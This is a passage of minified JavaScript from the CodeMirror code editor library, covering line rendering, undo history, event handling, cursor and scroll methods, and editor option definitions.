(b.measure.caches||(b.measure.caches=[])).push({}))}H(a,"renderLine",a,b.line,c.pre);c.pre.className&&(c.textClass=md(c.pre.className,c.textClass||""));return c}function Nf(a,b,c,d,e,f){if(b){var g=a.cm.options.specialChars,h=!1;if(g.test(b))for(var k=document.createDocumentFragment(),l=0;;){g.lastIndex=l;var m=g.exec(b),r=m?m.index-l:b.length-l;if(r){var p=document.createTextNode(b.slice(l,l+r));z&&9>C?k.appendChild(t("span",[p])):k.appendChild(p);a.map.push(a.pos,a.pos+r,p);a.col+=r;a.pos+=r}if(!m)break;
l+=r+1;"\t"==m[0]?(p=a.cm.options.tabSize,m=p-a.col%p,p=k.appendChild(t("span",ze(m),"cm-tab")),a.col+=m):(p=a.cm.options.specialCharPlaceholder(m[0]),z&&9>C?k.appendChild(t("span",[p])):k.appendChild(p),a.col+=1);a.map.push(a.pos,a.pos+1,p);a.pos++}else{a.col+=b.length;var k=document.createTextNode(b);a.map.push(a.pos,a.pos+b.length,k);z&&9>C&&(h=!0);a.pos+=b.length}if(c||d||e||h)return b=c||"",d&&(b+=d),e&&(b+=e),d=t("span",[k],b),f&&(d.title=f),a.content.appendChild(d);a.content.appendChild(k)}}
function Of(a){function b(a){for(var b=" ",e=0;e<a.length-2;++e)b+=e%2?" ":"\u00a0";return b+" "}return function(c,d,e,f,g,h){a(c,d.replace(/ {3,}/g,b),e,f,g,h)}}function Pf(a,b){return function(c,d,e,f,g,h){e=e?e+" cm-force-border":"cm-force-border";for(var k=c.pos,l=k+d.length;;){for(var m=0;m<b.length;m++){var r=b[m];if(r.to>k&&r.from<=k)break}if(r.to>=l)return a(c,d,e,f,g,h);a(c,d.slice(0,r.to-k),e,f,null,h);f=null;d=d.slice(r.to-k);k=r.to}}}function Ne(a,b,c,d){if(c=!d&&c.widgetNode)a.map.push(a.pos,
a.pos+b,c),a.content.appendChild(c);a.pos+=b}function ye(a,b){return 0==b.from.ch&&0==b.to.ch&&""==A(b.text)&&(!a.cm||a.cm.options.wholeLineUpdateBefore)}function hd(a,b,c,d){function e(a,c,e){a.text=c;a.stateAfter&&(a.stateAfter=null);a.styles&&(a.styles=null);null!=a.order&&(a.order=null);Fe(a);Ge(a,e);c=d?d(a):1;c!=a.height&&$(a,c);E(a,"change",a,b)}var f=b.from,g=b.to,h=b.text,k=s(a,f.line),l=s(a,g.line),m=A(h),r=c?c[h.length-1]:null,p=g.line-f.line;if(ye(a,b)){for(var n=0,q=[];n<h.length-1;++n)q.push(new Ga(h[n],
c?c[n]:null,d));e(l,l.text,r);p&&a.remove(f.line,p);q.length&&a.insert(f.line,q)}else if(k==l)if(1==h.length)e(k,k.text.slice(0,f.ch)+m+k.text.slice(g.ch),r);else{q=[];for(n=1;n<h.length-1;++n)q.push(new Ga(h[n],c?c[n]:null,d));q.push(new Ga(m+k.text.slice(g.ch),r,d));e(k,k.text.slice(0,f.ch)+h[0],c?c[0]:null);a.insert(f.line+1,q)}else if(1==h.length)e(k,k.text.slice(0,f.ch)+h[0]+l.text.slice(g.ch),c?c[0]:null),a.remove(f.line+1,p);else{e(k,k.text.slice(0,f.ch)+h[0],c?c[0]:null);e(l,m+l.text.slice(g.ch),
r);n=1;for(q=[];n<h.length-1;++n)q.push(new Ga(h[n],c?c[n]:null,d));1<p&&a.remove(f.line+1,p-1);a.insert(f.line+1,q)}E(a,"change",a,b)}function sb(a){this.lines=a;this.parent=null;for(var b=0,c=0;b<a.length;++b)a[b].parent=this,c+=a[b].height;this.height=c}function tb(a){this.children=a;for(var b=0,c=0,d=0;d<a.length;++d){var e=a[d],b=b+e.chunkSize(),c=c+e.height;e.parent=this}this.size=b;this.height=c;this.parent=null}function Ea(a,b,c){function d(a,f,g){if(a.linked)for(var h=0;h<a.linked.length;++h){var k=
a.linked[h];if(k.doc!=f){var l=g&&k.sharedHist;if(!c||l)b(k.doc,l),d(k.doc,a,l)}}}d(a,null,!0)}function ud(a,b){if(b.cm)throw Error("This document is already in use.");a.doc=b;b.cm=a;tc(a);sc(a);a.options.lineWrapping||wc(a);a.options.mode=b.modeOption;Q(a)}function s(a,b){b-=a.first;if(0>b||b>=a.size)throw Error("There is no line "+(b+a.first)+" in the document.");for(var c=a;!c.lines;)for(var d=0;;++d){var e=c.children[d],f=e.chunkSize();if(b<f){c=e;break}b-=f}return c.lines[b]}function qb(a,b,
c){var d=[],e=b.line;a.iter(b.line,c.line+1,function(a){a=a.text;e==c.line&&(a=a.slice(0,c.ch));e==b.line&&(a=a.slice(b.ch));d.push(a);++e});return d}function nd(a,b,c){var d=[];a.iter(b,c,function(a){d.push(a.text)});return d}function $(a,b){var c=b-a.height;if(c)for(var d=a;d;d=d.parent)d.height+=c}function D(a){if(null==a.parent)return null;var b=a.parent;a=J(b.lines,a);for(var c=b.parent;c;b=c,c=c.parent)for(var d=0;c.children[d]!=b;++d)a+=c.children[d].chunkSize();return a+b.first}function za(a,
b){var c=a.first;a:do{for(var d=0;d<a.children.length;++d){var e=a.children[d],f=e.height;if(b<f){a=e;continue a}b-=f;c+=e.chunkSize()}return c}while(!a.lines);for(d=0;d<a.lines.length;++d){e=a.lines[d].height;if(b<e)break;b-=e}return c+d}function aa(a){a=da(a);for(var b=0,c=a.parent,d=0;d<c.lines.length;++d){var e=c.lines[d];if(e==a)break;else b+=e.height}for(a=c.parent;a;c=a,a=c.parent)for(d=0;d<a.children.length&&(e=a.children[d],e!=c);++d)b+=e.height;return b}function ca(a){var b=a.order;null==
b&&(b=a.order=Rf(a.text));return b}function kc(a){this.done=[];this.undone=[];this.undoDepth=Infinity;this.lastModTime=this.lastSelTime=0;this.lastOrigin=this.lastSelOrigin=this.lastOp=this.lastSelOp=null;this.generation=this.maxGeneration=a||1}function gd(a,b){var c={from:Ic(b.from),to:qa(b),text:qb(a,b.from,b.to)};Oe(a,c,b.from.line,b.to.line+1);Ea(a,function(a){Oe(a,c,b.from.line,b.to.line+1)},!0);return c}function Nd(a){for(;a.length;)if(A(a).ranges)a.pop();else break}function ue(a,b,c,d){var e=
a.history;e.undone.length=0;var f=+new Date,g,h;if(h=e.lastOp==d||e.lastOrigin==b.origin&&b.origin&&("+"==b.origin.charAt(0)&&a.cm&&e.lastModTime>f-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0)))e.lastOp==d?(Nd(e.done),g=A(e.done)):e.done.length&&!A(e.done).ranges?g=A(e.done):1<e.done.length&&!e.done[e.done.length-2].ranges?(e.done.pop(),g=A(e.done)):g=void 0,h=g;if(h){var k=A(g.changes);0==x(b.from,b.to)&&0==x(b.from,k.to)?k.to=qa(b):g.changes.push(gd(a,b))}else for((g=A(e.done))&&g.ranges||
Hb(a.sel,e.done),g={changes:[gd(a,b)],generation:e.generation},e.done.push(g);e.done.length>e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift();e.done.push(c);e.generation=++e.maxGeneration;e.lastModTime=e.lastSelTime=f;e.lastOp=e.lastSelOp=d;e.lastOrigin=e.lastSelOrigin=b.origin;k||H(a,"historyAdded")}function Hb(a,b){var c=A(b);c&&c.ranges&&c.equals(a)||b.push(a)}function Oe(a,b,c,d){var e=b["spans_"+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(c){c.markedSpans&&
((e||(e=b["spans_"+a.id]={}))[f]=c.markedSpans);++f})}function Jf(a){if(!a)return null;for(var b=0,c;b<a.length;++b)a[b].marker.explicitlyCleared?c||(c=a.slice(0,b)):c&&c.push(a[b]);return c?c.length?c:null:a}function Ta(a,b,c){for(var d=0,e=[];d<a.length;++d){var f=a[d];if(f.ranges)e.push(c?ga.prototype.deepCopy.call(f):f);else{var f=f.changes,g=[];e.push({changes:g});for(var h=0;h<f.length;++h){var k=f[h],l;g.push({from:k.from,to:k.to,text:k.text});if(b)for(var m in k)(l=m.match(/^spans_(\d+)$/))&&
-1<J(b,Number(l[1]))&&(A(g)[m]=k[m],delete k[m])}}}return e}function Pe(a,b,c,d){c<a.line?a.line+=d:b<a.line&&(a.line=b,a.ch=0)}function Qe(a,b,c,d){for(var e=0;e<a.length;++e){var f=a[e],g=!0;if(f.ranges){f.copied||(f=a[e]=f.deepCopy(),f.copied=!0);for(var h=0;h<f.ranges.length;h++)Pe(f.ranges[h].anchor,b,c,d),Pe(f.ranges[h].head,b,c,d)}else{for(h=0;h<f.changes.length;++h){var k=f.changes[h];if(c<k.from.line)k.from=q(k.from.line+d,k.from.ch),k.to=q(k.to.line+d,k.to.ch);else if(b<=k.to.line){g=!1;
break}}g||(a.splice(0,e+1),e=0)}}}function ve(a,b){var c=b.from.line,d=b.to.line,e=b.text.length-(d-c)-1;Qe(a.done,c,d,e);Qe(a.undone,c,d,e)}function bd(a){return null!=a.defaultPrevented?a.defaultPrevented:0==a.returnValue}function je(a){var b=a.which;null==b&&(a.button&1?b=1:a.button&2?b=3:a.button&4&&(b=2));S&&a.ctrlKey&&1==b&&(b=3);return b}function E(a,b){function c(a){return function(){a.apply(null,e)}}var d=a._handlers&&a._handlers[b];if(d){var e=Array.prototype.slice.call(arguments,2),f;Na?
f=Na.delayedCallbacks:ub?f=ub:(f=ub=[],setTimeout(Sf,0));for(var g=0;g<d.length;++g)f.push(c(d[g]))}}function Sf(){var a=ub;ub=null;for(var b=0;b<a.length;++b)a[b]()}function ea(a,b,c){H(a,c||b.type,a,b);return bd(b)||b.codemirrorIgnore}function Qd(a){var b=a._handlers&&a._handlers.cursorActivity;if(b){a=a.curOp.cursorActivityHandlers||(a.curOp.cursorActivityHandlers=[]);for(var c=0;c<b.length;++c)-1==J(a,b[c])&&a.push(b[c])}}function T(a,b){var c=a._handlers&&a._handlers[b];return c&&0<c.length}
function Ua(a){a.prototype.on=function(a,c){w(this,a,c)};a.prototype.off=function(a,c){ja(this,a,c)}}function oc(){this.id=null}function ke(a,b,c){for(var d=0,e=0;;){var f=a.indexOf("\t",d);-1==f&&(f=a.length);var g=f-d;if(f==a.length||e+g>=b)return d+Math.min(g,b-e);e+=f-d;e+=c-e%c;d=f+1;if(e>=b)return d}}function ze(a){for(;lc.length<=a;)lc.push(A(lc)+" ");return lc[a]}function A(a){return a[a.length-1]}function J(a,b){for(var c=0;c<a.length;++c)if(a[c]==b)return c;return-1}function lb(a,b){for(var c=
[],d=0;d<a.length;d++)c[d]=b(a[d],d);return c}function Re(a,b){var c;Object.create?c=Object.create(a):(c=function(){},c.prototype=a,c=new c);b&&Ja(b,c);return c}function Ja(a,b,c){b||(b={});for(var d in a)!a.hasOwnProperty(d)||!1===c&&b.hasOwnProperty(d)||(b[d]=a[d]);return b}function Y(a){var b=Array.prototype.slice.call(arguments,1);return function(){return a.apply(null,b)}}function fc(a,b){return b?-1<b.source.indexOf("\\w")&&Se(a)?!0:b.test(a):Se(a)}function Te(a){for(var b in a)if(a.hasOwnProperty(b)&&
a[b])return!1;return!0}function gb(a){return 768<=a.charCodeAt(0)&&Tf.test(a)}function t(a,b,c,d){a=document.createElement(a);c&&(a.className=c);d&&(a.style.cssText=d);if("string"==typeof b)a.appendChild(document.createTextNode(b));else if(b)for(c=0;c<b.length;++c)a.appendChild(b[c]);return a}function wa(a){for(var b=a.childNodes.length;0<b;--b)a.removeChild(a.firstChild);return a}function U(a,b){return wa(a).appendChild(b)}function ka(){return document.activeElement}function od(a){return new RegExp("\\b"+
a+"\\b\\s*")}function $b(a,b){var c=od(b);c.test(a.className)&&(a.className=a.className.replace(c,""))}function ac(a,b){od(b).test(a.className)||(a.className+=" "+b)}function md(a,b){for(var c=a.split(" "),d=0;d<c.length;d++)c[d]&&!od(c[d]).test(b)&&(b+=" "+c[d]);return b}function Ue(a){if(document.body.getElementsByClassName)for(var b=document.body.getElementsByClassName("CodeMirror"),c=0;c<b.length;c++){var d=b[c].CodeMirror;d&&a(d)}}function df(){var a;w(window,"resize",function(){null==a&&(a=
setTimeout(function(){vb=a=null;Ue(uf)},100))});w(window,"blur",function(){Ue(Ab)})}function ef(a){if(null!=vb)return vb;var b=t("div",null,null,"width: 50px; height: 50px; overflow-x: scroll");U(a,b);b.offsetWidth&&(vb=b.offsetHeight-b.clientHeight);return vb||0}function Qf(a){if(null==pd){var b=t("span","\u200b");U(a,t("span",[b,document.createTextNode("x")]));0!=a.firstChild.offsetHeight&&(pd=1>=b.offsetWidth&&2<b.offsetHeight&&!(z&&8>C))}return pd?t("span","\u200b"):t("span","\u00a0",null,"display: inline-block; width: 1px; margin-right: -1px")}
function lf(a,b,c,d){if(!a)return d(b,c,"ltr");for(var e=!1,f=0;f<a.length;++f){var g=a[f];if(g.from<c&&g.to>b||b==c&&g.to==b)d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?"rtl":"ltr"),e=!0}e||d(b,c,"ltr")}function Rc(a){return a.level%2?a.to:a.from}function Sc(a){return a.level%2?a.from:a.to}function Nb(a){return(a=ca(a))?Rc(a[0]):0}function Ob(a){var b=ca(a);return b?Sc(A(b)):a.text.length}function Ve(a,b){var c=s(a.doc,b),d=da(c);d!=c&&(b=D(d));d=(c=ca(d))?c[0].level%2?Ob(d):Nb(d):0;return q(b,
d)}function We(a,b){var c=Ve(a,b.line),d=s(a.doc,c.line),e=ca(d);return e&&0!=e[0].level?c:(d=Math.max(0,d.text.search(/\S/)),q(c.line,b.line==c.line&&b.ch<=d&&b.ch?0:d))}function Tc(a,b){ib=null;for(var c=0,d;c<a.length;++c){var e=a[c];if(e.from<b&&e.to>b)return c;if(e.from==b||e.to==b)if(null==d)d=c;else{var f;f=e.level;var g=a[d].level,h=a[0].level;f=f==h?!0:g==h?!1:f<g;if(f)return e.from!=e.to&&(ib=d),c;e.from!=e.to&&(ib=c);break}}return d}function qd(a,b,c,d){if(!d)return b+c;do b+=c;while(0<
b&&gb(a.text.charAt(b)));return b}function Vc(a,b,c,d){var e=ca(a);if(!e)return Ae(a,b,c,d);var f=Tc(e,b),g=e[f];for(b=qd(a,b,g.level%2?-c:c,d);;){if(b>g.from&&b<g.to)return b;if(b==g.from||b==g.to){if(Tc(e,b)==f)return b;g=e[f+c];return 0<c==g.level%2?g.to:g.from}g=e[f+=c];if(!g)return null;b=0<c==g.level%2?qd(a,g.to,-1,d):qd(a,g.from,1,d)}}function Ae(a,b,c,d){b+=c;if(d)for(;0<b&&gb(a.text.charAt(b));)b+=c;return 0>b||b>a.text.length?null:b}var ob=/gecko\/\d/i.test(navigator.userAgent),Xe=/MSIE \d/.test(navigator.userAgent),
Ye=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent),z=Xe||Ye,C=z&&(Xe?document.documentMode||6:Ye[1]),I=/WebKit\//.test(navigator.userAgent),Uf=I&&/Qt\/\d+\.\d+/.test(navigator.userAgent),Vf=/Chrome\//.test(navigator.userAgent),W=/Opera\//.test(navigator.userAgent),ie=/Apple Computer/.test(navigator.vendor),rc=/KHTML\//.test(navigator.userAgent),ff=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),rf=/PhantomJS/.test(navigator.userAgent),Va=/AppleWebKit/.test(navigator.userAgent)&&
/Mobile\/\w+/.test(navigator.userAgent),nc=Va||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),S=Va||/Mac/.test(navigator.platform),Wf=/win/i.test(navigator.platform),Ha=W&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);Ha&&(Ha=Number(Ha[1]));Ha&&15<=Ha&&(W=!1,I=!0);var Ze=S&&(Uf||W&&(null==Ha||12.11>Ha)),$c=ob||z&&9<=C,se=!1,ma=!1,q=n.Pos=function(a,b){if(!(this instanceof q))return new q(a,b);this.line=a;this.ch=b},x=n.cmpPos=function(a,b){return a.line-b.line||
a.ch-b.ch};ga.prototype={primary:function(){return this.ranges[this.primIndex]},equals:function(a){if(a==this)return!0;if(a.primIndex!=this.primIndex||a.ranges.length!=this.ranges.length)return!1;for(var b=0;b<this.ranges.length;b++){var c=this.ranges[b],d=a.ranges[b];if(0!=x(c.anchor,d.anchor)||0!=x(c.head,d.head))return!1}return!0},deepCopy:function(){for(var a=[],b=0;b<this.ranges.length;b++)a[b]=new y(Ic(this.ranges[b].anchor),Ic(this.ranges[b].head));return new ga(a,this.primIndex)},somethingSelected:function(){for(var a=
0;a<this.ranges.length;a++)if(!this.ranges[a].empty())return!0;return!1},contains:function(a,b){b||(b=a);for(var c=0;c<this.ranges.length;c++){var d=this.ranges[c];if(0<=x(b,d.from())&&0>=x(a,d.to()))return c}return-1}};y.prototype={from:function(){return Kc(this.anchor,this.head)},to:function(){return Jc(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};var Oc={left:0,right:0,top:0,bottom:0},Aa,Na=null,qf=0,Ca=null,Ub,Tb,he=0,Wb=0,X=
null;z?X=-.53:ob?X=15:Vf?X=-.7:ie&&(X=-1/3);var oe,dd=null,qa=n.changeEnd=function(a){return a.text?q(a.from.line+a.text.length-1,A(a.text).length+(1==a.text.length?a.from.ch:0)):a.to};n.prototype={constructor:n,focus:function(){window.focus();P(this);kb(this)},setOption:function(a,b){var c=this.options,d=c[a];if(c[a]!=b||"mode"==a)c[a]=b,Ka.hasOwnProperty(a)&&B(this,Ka[a])(this,b,d)},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?
"push":"unshift"](a)},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;c<b.length;++c)if(b[c]==a||"string"!=typeof b[c]&&b[c].name==a)return b.splice(c,1),!0},addOverlay:K(function(a,b){var c=a.token?a:n.getMode(this.options,a);if(c.startState)throw Error("Overlays may not be stateful.");this.state.overlays.push({mode:c,modeSpec:a,opaque:b&&b.opaque});this.state.modeGen++;Q(this)}),removeOverlay:K(function(a){for(var b=this.state.overlays,c=0;c<b.length;++c){var d=b[c].modeSpec;if(d==a||
"string"==typeof a&&d.name==a){b.splice(c,1);this.state.modeGen++;Q(this);break}}}),indentLine:K(function(a,b,c){"string"!=typeof b&&"number"!=typeof b&&(b=null==b?this.options.smartIndent?"smart":"prev":b?"add":"subtract");cb(this.doc,a)&&mb(this,a,b,c)}),indentSelection:K(function(a){for(var b=this.doc.sel.ranges,c=-1,d=0;d<b.length;d++){var e=b[d];if(e.empty())e.head.line>c&&(mb(this,e.head.line,a,!0),c=e.head.line,d==this.doc.sel.primIndex&&La(this));else{for(var f=e.from(),e=e.to(),g=Math.max(c,
f.line),c=Math.min(this.lastLine(),e.line-(e.ch?0:1))+1,e=g;e<c;++e)mb(this,e,a);e=this.doc.sel.ranges;0==f.ch&&b.length==e.length&&0<e[d].from().ch&&Lc(this.doc,d,new y(f,e[d].to()),oa)}}}),getTokenAt:function(a,b){var c=this.doc;a=u(c,a);for(var d=fb(this,a.line,b),e=this.doc.mode,c=s(c,a.line),c=new jc(c.text,this.options.tabSize);c.pos<a.ch&&!c.eol();){c.start=c.pos;var f=kd(e,c,d)}return{start:c.start,end:c.pos,string:c.current(),type:f||null,state:d}},getTokenTypeAt:function(a){a=u(this.doc,
a);var b=Le(this,s(this.doc,a.line)),c=0,d=(b.length-1)/2;a=a.ch;if(0==a)b=b[2];else for(;;){var e=c+d>>1;if((e?b[2*e-1]:0)>=a)d=e;else if(b[2*e+1]<a)c=e+1;else{b=b[2*e+2];break}}c=b?b.indexOf("cm-overlay "):-1;return 0>c?b:0==c?null:b.slice(0,c-1)},getModeAt:function(a){var b=this.doc.mode;return b.innerMode?n.innerMode(b,this.getTokenAt(a).state).mode:b},getHelper:function(a,b){return this.getHelpers(a,b)[0]},getHelpers:function(a,b){var c=[];if(!Ia.hasOwnProperty(b))return Ia;var d=Ia[b],e=this.getModeAt(a);
if("string"==typeof e[b])d[e[b]]&&c.push(d[e[b]]);else if(e[b])for(var f=0;f<e[b].length;f++){var g=d[e[b][f]];g&&c.push(g)}else e.helperType&&d[e.helperType]?c.push(d[e.helperType]):d[e.name]&&c.push(d[e.name]);for(f=0;f<d._global.length;f++)g=d._global[f],g.pred(e,this)&&-1==J(c,g.val)&&c.push(g.val);return c},getStateAfter:function(a,b){var c=this.doc;a=Math.max(c.first,Math.min(null==a?c.first+c.size-1:a,c.first+c.size-1));return fb(this,a+1,b)},cursorCoords:function(a,b){var c;c=this.doc.sel.primary();
c=null==a?c.head:"object"==typeof a?u(this.doc,a):a?c.from():c.to();return ha(this,c,b||"page")},charCoords:function(a,b){return Jb(this,u(this.doc,a),b||"page")},coordsChar:function(a,b){a=$d(this,a,b||"page");return Uc(this,a.left,a.top)},lineAtHeight:function(a,b){a=$d(this,{top:a,left:0},b||"page").top;return za(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b){var c=!1,d=this.doc.first+this.doc.size-1;a<this.doc.first?a=this.doc.first:a>d&&(a=d,c=!0);d=s(this.doc,a);return Qc(this,
d,{top:0,left:0},b||"page").top+(c?this.doc.height-aa(d):0)},defaultTextHeight:function(){return ua(this.display)},defaultCharWidth:function(){return Ya(this.display)},setGutterMarker:K(function(a,b,c){return ec(this.doc,a,"gutter",function(a){var e=a.gutterMarkers||(a.gutterMarkers={});e[b]=c;!c&&Te(e)&&(a.gutterMarkers=null);return!0})}),clearGutter:K(function(a){var b=this,c=b.doc,d=c.first;c.iter(function(c){c.gutterMarkers&&c.gutterMarkers[a]&&(c.gutterMarkers[a]=null,ia(b,d,"gutter"),Te(c.gutterMarkers)&&
(c.gutterMarkers=null));++d})}),addLineWidget:K(function(a,b,c){return Kf(this,a,b,c)}),removeLineWidget:function(a){a.clear()},lineInfo:function(a){if("number"==typeof a){if(!cb(this.doc,a))return null;var b=a;a=s(this.doc,a);if(!a)return null}else if(b=D(a),null==b)return null;return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},
addWidget:function(a,b,c,d,e){var f=this.display;a=ha(this,u(this.doc,a));var g=a.bottom,h=a.left;b.style.position="absolute";f.sizer.appendChild(b);if("over"==d)g=a.top;else if("above"==d||"near"==d){var k=Math.max(f.wrapper.clientHeight,this.doc.height),l=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);("above"==d||a.bottom+b.offsetHeight>k)&&a.top>b.offsetHeight?g=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=k&&(g=a.bottom);h+b.offsetWidth>l&&(h=l-b.offsetWidth)}b.style.top=g+"px";b.style.left=
b.style.right="";"right"==e?(h=f.sizer.clientWidth-b.offsetWidth,b.style.right="0px"):("left"==e?h=0:"middle"==e&&(h=(f.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+"px");c&&(a=Pb(this,h,g,h+b.offsetWidth,g+b.offsetHeight),null!=a.scrollTop&&jb(this,a.scrollTop),null!=a.scrollLeft&&Oa(this,a.scrollLeft))},triggerOnKeyDown:K(fe),triggerOnKeyPress:K(ge),triggerOnKeyUp:ee,execCommand:function(a){if(Yb.hasOwnProperty(a))return Yb[a](this)},findPosH:function(a,b,c,d){var e=1;0>b&&(e=-1,b=-b);var f=
0;for(a=u(this.doc,a);f<b&&(a=id(this.doc,a,e,c,d),!a.hitSide);++f);return a},moveH:K(function(a,b){var c=this;c.extendSelectionsBy(function(d){return c.display.shift||c.doc.extend||d.empty()?id(c.doc,d.head,a,b,c.options.rtlMoveVisually):0>a?d.from():d.to()},wb)}),deleteH:K(function(a,b){var c=this.doc;this.doc.sel.somethingSelected()?c.replaceSelection("",null,"+delete"):Ra(this,function(d){var e=id(c,d.head,a,b,!1);return 0>a?{from:e,to:d.head}:{from:d.head,to:e}})}),findPosV:function(a,b,c,d){var e=
1;0>b&&(e=-1,b=-b);var f=0;for(a=u(this.doc,a);f<b&&(a=ha(this,a,"div"),null==d?d=a.left:a.left=d,a=Be(this,a,e,c),!a.hitSide);++f);return a},moveV:K(function(a,b){var c=this,d=this.doc,e=[],f=!c.display.shift&&!d.extend&&d.sel.somethingSelected();d.extendSelectionsBy(function(g){if(f)return 0>a?g.from():g.to();var k=ha(c,g.head,"div");null!=g.goalColumn&&(k.left=g.goalColumn);e.push(k.left);var l=Be(c,k,a,b);"page"==b&&g==d.sel.primary()&&cc(c,null,Jb(c,l,"div").top-k.top);return l},wb);if(e.length)for(var g=
0;g<d.sel.ranges.length;g++)d.sel.ranges[g].goalColumn=e[g]}),findWordAt:function(a){var b=s(this.doc,a.line).text,c=a.ch,d=a.ch;if(b){var e=this.getHelper(a,"wordChars");(0>a.xRel||d==b.length)&&c?--c:++d;for(var f=b.charAt(c),f=fc(f,e)?function(a){return fc(a,e)}:/\s/.test(f)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!fc(a)};0<c&&f(b.charAt(c-1));)--c;for(;d<b.length&&f(b.charAt(d));)++d}return new y(q(a.line,c),q(a.line,d))},toggleOverwrite:function(a){if(null==a||a!=this.state.overwrite)(this.state.overwrite=
!this.state.overwrite)?ac(this.display.cursorDiv,"CodeMirror-overwrite"):$b(this.display.cursorDiv,"CodeMirror-overwrite"),H(this,"overwriteToggle",this,this.state.overwrite)},hasFocus:function(){return ka()==this.display.input},scrollTo:K(function(a,b){null==a&&null==b||dc(this);null!=a&&(this.curOp.scrollLeft=a);null!=b&&(this.curOp.scrollTop=b)}),getScrollInfo:function(){var a=this.display.scroller,b=R;return{left:a.scrollLeft,top:a.scrollTop,height:a.scrollHeight-b,width:a.scrollWidth-b,clientHeight:a.clientHeight-
b,clientWidth:a.clientWidth-b}},scrollIntoView:K(function(a,b){null==a?(a={from:this.doc.sel.primary().head,to:null},null==b&&(b=this.options.cursorScrollMargin)):"number"==typeof a?a={from:q(a,0),to:null}:null==a.from&&(a={from:a,to:null});a.to||(a.to=a.from);a.margin=b||0;if(null!=a.from.line)dc(this),this.curOp.scrollToPos=a;else{var c=Pb(this,Math.min(a.from.left,a.to.left),Math.min(a.from.top,a.to.top)-a.margin,Math.max(a.from.right,a.to.right),Math.max(a.from.bottom,a.to.bottom)+a.margin);this.scrollTo(c.scrollLeft,
c.scrollTop)}}),setSize:K(function(a,b){function c(a){return"number"==typeof a||/^\d+$/.test(String(a))?a+"px":a}var d=this;null!=a&&(d.display.wrapper.style.width=c(a));null!=b&&(d.display.wrapper.style.height=c(b));d.options.lineWrapping&&Zd(this);var e=d.display.viewFrom;d.doc.iter(e,d.display.viewTo,function(a){if(a.widgets)for(var b=0;b<a.widgets.length;b++)if(a.widgets[b].noHScroll){ia(d,e,"widget");break}++e});d.curOp.forceUpdate=!0;H(d,"refresh",this)}),operation:function(a){return pa(this,
a)},refresh:K(function(){var a=this.display.cachedTextHeight;Q(this);this.curOp.forceUpdate=!0;Za(this);this.scrollTo(this.doc.scrollLeft,this.doc.scrollTop);vc(this);(null==a||.5<Math.abs(a-ua(this.display)))&&tc(this);H(this,"refresh",this)}),swapDoc:K(function(a){var b=this.doc;b.cm=null;ud(this,a);Za(this);Z(this);this.scrollTo(a.scrollLeft,a.scrollTop);this.curOp.forceScroll=!0;E(this,"swapDoc",this,b);return b}),getInputField:function(){return this.display.input},getWrapperElement:function(){return this.display.wrapper},
getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};Ua(n);var af=n.defaults={},Ka=n.optionHandlers={},vd=n.Init={toString:function(){return"CodeMirror.Init"}};v("value","",function(a,b){a.setValue(b)},!0);v("mode",null,function(a,b){a.doc.modeOption=b;sc(a)},!0);v("indentUnit",2,sc,!0);v("indentWithTabs",!1);v("smartIndent",!0);v("tabSize",4,function(a){Wa(a);Za(a);Q(a)},!0);v("specialChars",/[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g,
function(a,b){a.options.specialChars=new RegExp(b.source+(b.test("\t")?"":"|\t"),"g");a.refresh()},!0);v("specialCharPlaceholder",function(a){var b=t("span","\u2022","cm-invalidchar");b.title="\\u"+a.charCodeAt(0).toString(16);return b},function(a){a.refresh()},!0);v("electricChars",!0);v("rtlMoveVisually",!Wf);v("wholeLineUpdateBefore",!0);v("theme","default",function(a){sd(a);$a(a)},!0);v("keyMap","default",yd);v("extraKeys",null);v("lineWrapping",!1,function(a){a.options.lineWrapping?(ac(a.display.wrapper,
"CodeMirror-wrap"),a.display.sizer.style.minWidth=""):($b(a.display.wrapper,"CodeMirror-wrap"),wc(a));tc(a);Q(a);Za(a);setTimeout(function(){ya(a)},100)},!0);v("gutters",[],function(a){mc(a.options);$a(a)},!0);v("fixedGutter",!0,function(a,b){a.display.gutters.style.left=b?zc(a.display)+"px":"0";a.refresh()},!0);v("coverGutterNextToScrollbar",!1,ya,!0);v("lineNumbers",!1,function(a){mc(a.options);$a(a)},!0);v("firstLineNumber",1,$a,!0);v("lineNumberFormatter",function(a){return a},$a,!0);v("showCursorWhenSelecting",
!1,bb,!0);v("resetSelectionOnContextMenu",!0);v("readOnly",!1,function(a,b){"nocursor"==b?(Ab(a),a.display.input.blur(),a.display.disabled=!0):(a.display.disabled=!1,b||Z(a))});v("disableInput",!1,function(a,b){b||Z(a)},!0);v("dragDrop",!0);v("cursorBlinkRate",530);v("cursorScrollMargin",0);v("cursorHeight",1,bb,!0);v("singleCursorHeightPerLine",!0,bb,!0);v("workTime",100);v("workDelay",100);v("flattenSpans",!0,Wa,!0);v("addModeClass",!1,Wa,!0);v("pollInterval",100);v("undoDepth",200,function(a,b){a.doc.history.undoDepth=
